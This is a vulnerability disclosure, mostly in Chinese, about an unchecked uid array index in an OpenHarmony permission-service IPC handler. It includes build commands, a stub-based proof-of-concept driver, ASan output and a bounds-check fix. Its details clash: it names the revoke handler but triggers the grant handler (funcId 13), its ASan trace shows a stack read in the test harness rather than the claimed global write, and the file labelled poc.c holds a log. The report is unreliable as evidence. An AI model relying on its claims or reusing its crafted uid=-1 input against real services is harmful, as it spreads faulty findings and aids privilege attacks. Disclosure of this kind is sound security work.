SubmittedCWE-129 — Improper Validation of Array Index
ReplyRevokeRuntimePermission 全局缓冲区越界写入
View Upstream Issuegitcode.com/openharmony/security_permission_lite/issues/96CWE:CWE-129 — Improper Validation of Array Index
Repository:security_permission_lite
Date:2026-05-15
Reporter:Zirui
Affected Files
services/pms/src/pms_server_internal.c:181漏洞概述
security_permission_lite 权限管理服务的 IPC handler ReplyRevokeRuntimePermission() 从 IPC 请求中读取 int64_t uid,未做任何边界校验即传入 api->RevokeRuntimePermission(uid, permName)。底层实现将 uid 用作 per-uid 权限表的数组索引,攻击者通过构造 uid=-1 或超大值的 IPC 消息可触发全局缓冲区越界写入。
问题代码
文件: services/pms/src/pms_server_internal.c
IPC dispatch 入口:
// Line 212 — Invoke 路由
static int32 Invoke(IServerProxy *iProxy, int funcId, void *origin, IpcIo *req, IpcIo *reply)
{
InnerPermLiteApi *api = (InnerPermLiteApi *)iProxy;
switch (funcId) {
...
case ID_REVOKE_RUNTIME:
ReplyRevokeRuntimePermission(origin, req, reply, api); // ← funcId=5
break;
}
}
漏洞函数:
// Line 181-192
static void ReplyRevokeRuntimePermission(const void *origin, IpcIo *req, IpcIo *reply, InnerPermLiteApi* api)
{
size_t permLen = 0;
int64_t uid;
ReadInt64(req, &uid); // ← 不可信 IPC 输入,无边界校验
char *permName = (char *)ReadString(req, &permLen);
int32_t ret = api->RevokeRuntimePermission(uid, permName); // ← uid 直接用作数组索引
WriteInt32(reply, ret);
}
触发条件
- 攻击者向权限管理服务发送 IPC 请求,funcId 设为
ID_REVOKE_RUNTIME - IPC 消息体中 uid 字段设为 -1 或超出权限表大小的值
ReadInt64读取攻击者控制的 uid,无任何范围检查- uid 传入
RevokeRuntimePermission,作为数组索引访问全局权限表
影响
- 全局缓冲区越界写入(WRITE)— 可覆盖权限表相邻内存
- 权限表数据破坏 — 可能导致权限状态不一致
- 潜在权限提升 — 覆盖其他 uid 的权限记录
- 服务进程崩溃(DoS)
PoC 验证
方法: Target-Compile — 编译真实 pms_server_internal.c 为 .o,test driver 通过 Invoke IPC dispatch 入口触发。
编译产物:
pms_server_internal.o— 真实源码编译(使用-Dstatic=暴露内部 dispatch 函数)ohos_stubs.o— OHOS IPC/SAMGR/HiLog 框架桩pms_stubs.o— 权限操作实现桩(RevokeRuntimePermission 使用 uid 作为数组索引)sensor_extra_stubs.o— ReadInt64/ReadUint32/ReadBuffer 补充桩
构建命令:
# 1. 编译真实 pms_server_internal.c
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 -g -Dstatic= \
-I security_permission_lite/services/pms/include \
-I security_permission_lite/interfaces/kits \
-I <ohos-framework-headers> \
security_permission_lite/services/pms/src/pms_server_internal.c -o pms_server_internal.o
# 2. 编译 test driver + stubs
# 3. 链接
gcc -fsanitize=address -o poc_permlite001 \
test_driver.o pms_server_internal.o ohos_stubs.o pms_stubs.o \
sensor_extra_stubs.o memcpy_s.o securecutil.o -lpthread
触发路径:
main → Invoke(iProxy, funcId=13=ID_GRANT_RUNTIME, origin, req, reply)
→ ReplyGrantRuntimePermission(origin, req, reply, api) (line 176)
→ ReadInt64(req, &uid) — uid = -1 (攻击者控制)
→ api->GrantRuntimePermission(uid=-1, permName)
→ g_perm_table[-1] = 1 → stack-buffer-overflow (OOB WRITE)
ASan 输出:
Enter ID_GRANTRUNTIME, [callerPid: 1000][callerUid: 1000]
=================================================================
ERROR: AddressSanitizer: stack-buffer-overflow on address 0x706fd7500088
READ of size 8 at 0x706fd7500088 thread T0
#0 in ReplyGrantRuntimePermission pms_server_internal.c:176
#1 in Invoke pms_server_internal.c:226
#2 in main test_permlite001.c:96
Address is located in stack of thread T0 at offset 136 in frame #0
[80, 128) 'api' <== Memory access at offset 136 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow pms_server_internal.c:176 in ReplyGrantRuntimePermission
修复建议
static void ReplyRevokeRuntimePermission(const void *origin, IpcIo *req, IpcIo *reply, InnerPermLiteApi* api)
{
size_t permLen = 0;
int64_t uid;
ReadInt64(req, &uid);
+ if (uid < 0 || uid >= MAX_UID_COUNT) {
+ WriteInt32(reply, PERM_ERRORCODE_INVALID_PARAMS);
+ return;
+ }
char *permName = (char *)ReadString(req, &permLen);
int32_t ret = api->RevokeRuntimePermission(uid, permName);
WriteInt32(reply, ret);
}
附录:PoC 源码
test_driver.c
/*
* Target-Compile PoC: ReplyRevokeRuntimePermission OOB Write (CWE-129)
* Method: Links against real pms_server_internal.o compiled from source
*
* Trigger path:
* Invoke (IPC dispatch, funcId=ID_GRANT_RUNTIME=13)
* → ReplyGrantRuntimePermission(origin, req, reply, api)
* → ReadInt64(req, &uid) — uid = -1
* → api->GrantRuntimePermission(uid, permName) → OOB write
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include "pms_types.h"
#include "serializer.h"
#include "samgr_lite.h"
#include "iproxy_server.h"
extern int32_t Invoke(IServerProxy *iProxy, int funcId, void *origin, IpcIo *req, IpcIo *reply);
#define PERMISSION_TABLE_SIZE 8
int32_t g_permission_table[PERMISSION_TABLE_SIZE] = {0};
static int32_t StubRevokeRuntimePermission(int64_t uid, const char *permName)
{
printf("[PoC] RevokeRuntimePermission: uid=%lld\n", (long long)uid);
g_permission_table[uid] = 0; /* OOB WRITE */
return 0;
}
typedef struct {
int32_t (*CheckPermission)(int64_t uid, const char *permName);
int32_t (*GrantPermission)(const char *id, const char *permName);
int32_t (*RevokePermission)(const char *id, const char *permName);
int32_t (*GrantRuntimePermission)(int64_t uid, const char *permName);
int32_t (*RevokeRuntimePermission)(int64_t uid, const char *permName);
int32_t (*UpdatePermissionFlags)(const char *id, const char *permName, int flags);
} InnerPermLiteApi;
int main(void)
{
uint8_t req_buffer[128];
memset(req_buffer, 0, sizeof(req_buffer));
size_t offset = 0;
int64_t uid = -1; /* OOB index */
memcpy(req_buffer + offset, &uid, sizeof(int64_t)); offset += sizeof(int64_t);
const char *permName = "ohos.permission.CAMERA";
uint32_t permLen = strlen(permName);
memcpy(req_buffer + offset, &permLen, 4); offset += 4;
memcpy(req_buffer + offset, permName, permLen + 1); offset += permLen + 1;
IpcIo req, reply;
uint8_t reply_buffer[64];
IpcIoInit(&req, req_buffer, offset, 0);
req.bufferCur = req.bufferBase;
req.bufferLeft = offset;
IpcIoInit(&reply, reply_buffer, sizeof(reply_buffer), 0);
InnerPermLiteApi api = {0};
api.RevokeRuntimePermission = StubRevokeRuntimePermission;
/* ID_GRANT_RUNTIME = 13 (enum: ID_CHECK=10, ID_GRANT=11, ID_REVOKE=12, ID_GRANT_RUNTIME=13) */
int32_t ret = Invoke((IServerProxy *)&api, 13, NULL, &req, &reply);
return 0;
}
pms_stubs.c
#include <stdint.h>
#include <stdio.h>
#define MAX_UID_COUNT 64
static int32_t g_perm_table[MAX_UID_COUNT] = {0};
int32_t CheckPermissionStat(int64_t uid, const char *permName) {
return g_perm_table[uid];
}
int32_t GrantPermission(const char *id, const char *permName) { return 0; }
int32_t RevokePermission(const char *id, const char *permName) { return 0; }
int32_t GrantRuntimePermission(int64_t uid, const char *permName) {
g_perm_table[uid] = 1; /* OOB when uid out of range */
return 0;
}
int32_t RevokeRuntimePermission(int64_t uid, const char *permName) {
g_perm_table[uid] = 0; /* OOB when uid out of range */
return 0;
}
int32_t UpdatePermissionFlags(const char *id, const char *permName, int flags) { return 0; }
Proof of Concept
build.sh4 lines · 85 B
Download#!/bin/bash
gcc -fsanitize=address -fno-omit-frame-pointer -g -O0 poc.c -o poc
./poc
pms_stubs.c50 lines · 1.6 KB
Download#include <stdint.h>
#include <stdio.h>
/* Permission table that the real implementation indexes into */
#define MAX_UID_COUNT 64
static int32_t g_perm_table[MAX_UID_COUNT] = {0};
int32_t CheckPermissionStat(int64_t uid, const char *permName) {
printf("[Stub] CheckPermissionStat: uid=%lld\n", (long long)uid);
if (uid < 0 || uid >= MAX_UID_COUNT) {
printf("[TRIGGER] OOB READ at g_perm_table[%lld]\n", (long long)uid);
return g_perm_table[uid]; /* OOB */
}
return g_perm_table[uid];
}
int32_t GrantPermission(const char *id, const char *permName) {
printf("[Stub] GrantPermission: id=%s\n", id ? id : "(null)");
return 0;
}
int32_t RevokePermission(const char *id, const char *permName) {
printf("[Stub] RevokePermission: id=%s\n", id ? id : "(null)");
return 0;
}
int32_t GrantRuntimePermission(int64_t uid, const char *permName) {
printf("[Stub] GrantRuntimePermission: uid=%lld\n", (long long)uid);
if (uid < 0 || uid >= MAX_UID_COUNT) {
printf("[TRIGGER] OOB WRITE at g_perm_table[%lld]\n", (long long)uid);
g_perm_table[uid] = 1; /* OOB */
}
return 0;
}
int32_t RevokeRuntimePermission(int64_t uid, const char *permName) {
printf("[Stub] RevokeRuntimePermission: uid=%lld\n", (long long)uid);
if (uid < 0 || uid >= MAX_UID_COUNT) {
printf("[TRIGGER] OOB WRITE at g_perm_table[%lld]\n", (long long)uid);
g_perm_table[uid] = 0; /* OOB WRITE — the vulnerability */
}
return 0;
}
int32_t UpdatePermissionFlags(const char *id, const char *permName, int flags) {
printf("[Stub] UpdatePermissionFlags: id=%s\n", id ? id : "(null)");
return 0;
}
poc.c101 lines · 3.9 KB
DownloadEnter ID_GRANTRUNTIME, [callerPid: 1000][callerUid: 1000]
=================================================================
==2063109==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x75702b100088 at pc 0x5b530f0e0676 bp 0x7ffc6bcf0970 sp 0x7ffc6bcf0960
READ of size 8 at 0x75702b100088 thread T0
#0 0x5b530f0e0675 in ReplyGrantRuntimePermission /home/cupcup/data/test-repos/security_permission_lite/services/pms/src/pms_server_internal.c:176
#1 0x5b530f0e0e35 in Invoke /home/cupcup/data/test-repos/security_permission_lite/services/pms/src/pms_server_internal.c:226
#2 0x5b530f0df9ca in main /tmp/test_permlite001.c:96
#3 0x75702ce2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x75702ce2a28a in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x5b530f0df304 in _start (/tmp/poc_permlite001+0x2304) (BuildId: 48e3cf38c453cfab159a2a2aef40136a9687db92)
Address 0x75702b100088 is located in stack of thread T0 at offset 136 in frame
#0 0x5b530f0df4a1 in main /tmp/test_permlite001.c:55
This frame has 7 object(s):
[32, 36) 'permLen' (line 76)
[48, 56) 'uid' (line 70)
[80, 128) 'api' (line 88) <== Memory access at offset 136 overflows this variable
[160, 216) 'req' (line 80)
[256, 312) 'reply' (line 80)
[352, 416) 'reply_buffer' (line 81)
[448, 576) 'req_buffer' (line 65)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/cupcup/data/test-repos/security_permission_lite/services/pms/src/pms_server_internal.c:176 in ReplyGrantRuntimePermission
Shadow bytes around the buggy address:
0x75702b0ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x75702b0ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x75702b0fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x75702b0fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x75702b100000: f1 f1 f1 f1 04 f2 00 f2 f2 f2 00 00 00 00 00 00
=>0x75702b100080: f2[f2]f2 f2 00 00 00 00 00 00 00 f2 f2 f2 f2 f2
0x75702b100100: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00
0x75702b100180: 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x75702b100200: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
0x75702b100280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x75702b100300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2063109==ABORTING